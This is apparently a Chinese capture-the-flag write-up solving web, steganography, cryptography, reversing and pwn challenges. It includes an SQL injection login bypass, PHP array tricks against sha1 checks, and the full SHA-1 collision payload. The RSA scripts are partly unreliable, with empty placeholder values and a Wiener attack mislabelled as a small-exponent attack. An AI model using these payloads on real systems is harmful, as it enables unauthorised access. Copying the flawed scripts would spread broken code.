WEB
Ez_math
下方有相应计算语句,那么构建
a=1,b=1,c=1)+207137+(1
语句为:
得出flag
Ez_math2
和上面的方法一样
Ez_login
尝试万能密码
admin' or '1'='1
提交得到flag
套娃
is_numeric()检测变量是否为数字或数字字符串
阅读代码后构造payload
https://69ab9160.cpolar.io/?cr0fy=2072a
进入第二个页面
可以用数组绕过sha1检测,payload:
https://69ab9160.cpolar.io/come_baby.php/?N0vice[]=1&&Elli0t[]=2
进入第三个页面
发现存在is_array检测数组
只能用sha1碰撞,找到谷歌发布的sha1
N0vice=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&
Elli0t=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
提交得到flag
召唤神龙
进入检查----猜测flag在网页某个代码中----搜索flag得到
MISC
抽奖
发现是gif文件,进行分离,之前的工具不知道为啥分离不了,去在线工具找gif分离
找到个二维码,扫描得到flag
藏猫猫
使用工具找
倘来之物
打开发现是一个图片,丢入binwalk分析
发现有zip存在,把它提取出来
发现一串base64编码,解码得到flag
N0vice的游戏 ![](https://i-blog.csdnimg.cn/blog_migrate/909c596d1ec3cf1c6b45ea44bcf0d947.png)
一个压缩包,爆破密码为123456,得到二维码,扫码得到key
第二个为一张图片,放入binwalk分离
得到key
第三个是修改图片高度
可以看出下方缺少,winhex修改高度得到key
最终得到flag
b1ndog
lsb隐写
上方明显有东西
一开始RGB发现没有啥东西,然后看到反向的{ }猜测是BGR,得到flag
CRYPTO
affine
提示是affine的话就试试仿射
yopf{kj_bjz_hcjn_pyytcr_dtqmre?}
在线工具解码
Signin
一开始懵了,然后看到图片名字symbols,一直找,找到了Latex symbol这个东西,对了很久很久很久,总算对照出来了
flag{fun_LaTeX_Math}
Ez_classical
Opkvr eii va seac geopy xb hzkdbgp gvrrnnuvzekmjv gw glvvz ixi bvxeiqfegmfrn xavfyzrb bni plrpgmtkr – eeh zdkvl trxc xuwrw umankvrrk vdaqw.Lslv atgk vw QqspF3xUhNpaEslyfc8bx19ID1F3op9bCRfnflIyjL==. ZYE vw yimm zs uict twa qnrrkz guye hzkdbgp emjo rqzl n vrrbm uj pegewqrmgmvw vvj iktvvoqyi vrtpplort mexzoxegiu vdaq qnrrkzukrg, xyvziz hrxvgoqur nru vzavsawv, mymtxvxp eil ggpijw hitetidiib, grq jiepl vvrzvroqur.
古典密码的话应该是维吉尼亚密码
但是我也不知道密钥是啥,最后找到个网站Vigenere Solver - www.guballa.de在线爆破
看到个base64,解码得到flag
Basic_RSA
n = 7168710045719540786046981944478960617029015738768368491690610753094240667686070925471276988585806662404182528613845509600885327970740383330916390612660593
c = 6867458099093215876610304261510609489636746022985210210835338885537647480727039161144038016078969507780730419842377579696934883161819160104081020930669326
e = 0x10001
在线网站分解n无效,可能是接近,调用yufu进行分解,得到p,q
P77 = 84668235163605133373102334532238432455270507565499112735876274741500617207761
P77 = 84668235163605133373102334532238432455270507565499112735876274741500617207713
import gmpy2 as gp
import binascii
p = gp.mpz()
q = gp.mpz()
e = gp.mpz()
c = gp.mpz()
n = p*q
phi = (p-1) * (q-1)
d = gp.invert(e, phi)
m = pow(c, d, n)
print(m)
转字符得到flag{Th1s_1s_B@sic_R54!}
RSA's door
n = 83460170332789543359445060411497091705804347364814281245470592371133663106493530608529409469102954937185667576039172576285648391297318795610422514102512583090612487721046716106948497619174942971205579018112043183472479315627448807683635691353125628950015872682908289145195785920862040617692664410063124332797
c = 26250757423108567792724501378031544698470616542583222949791028734059363700092406162375811441350147327767242910889775661368558849005173412332899512309987806846885085716280099758930498330471269563103649046578356553301448940882198650959085854611488701240627782161420762544029829950158419500083720803957689656782
e = 3
e特别小,那就用低加密指数攻击
#python3
import RSAwienerHacker
n=
e=
d = RSAwienerHacker.hack_RSA(e,n)
if d:
print(d)
import hashlib
flag = "flag{" + hashlib.md5(hex(d)).hexdigest() + "}"
print flag
或者用一些工具更方便,最后得出
14337636555116174986481352878913213645344625778723598546429768360200738449114030392431283977286063235453转字符串flag{We1c0me_To_C0oooooola_Gouliang_Cuppp!}
Reverse
逆向签到处
打开压缩包发现有密码,直接破解密码得出123456
ida打开文件找到flag
PWN
给出了个端口,kali中用nc进入
121.89.236.144 8889
ls看看目录,cat flag得到flag
flag{fcc93007-ee3a-4e0f-bb13-2465ca0d72ac}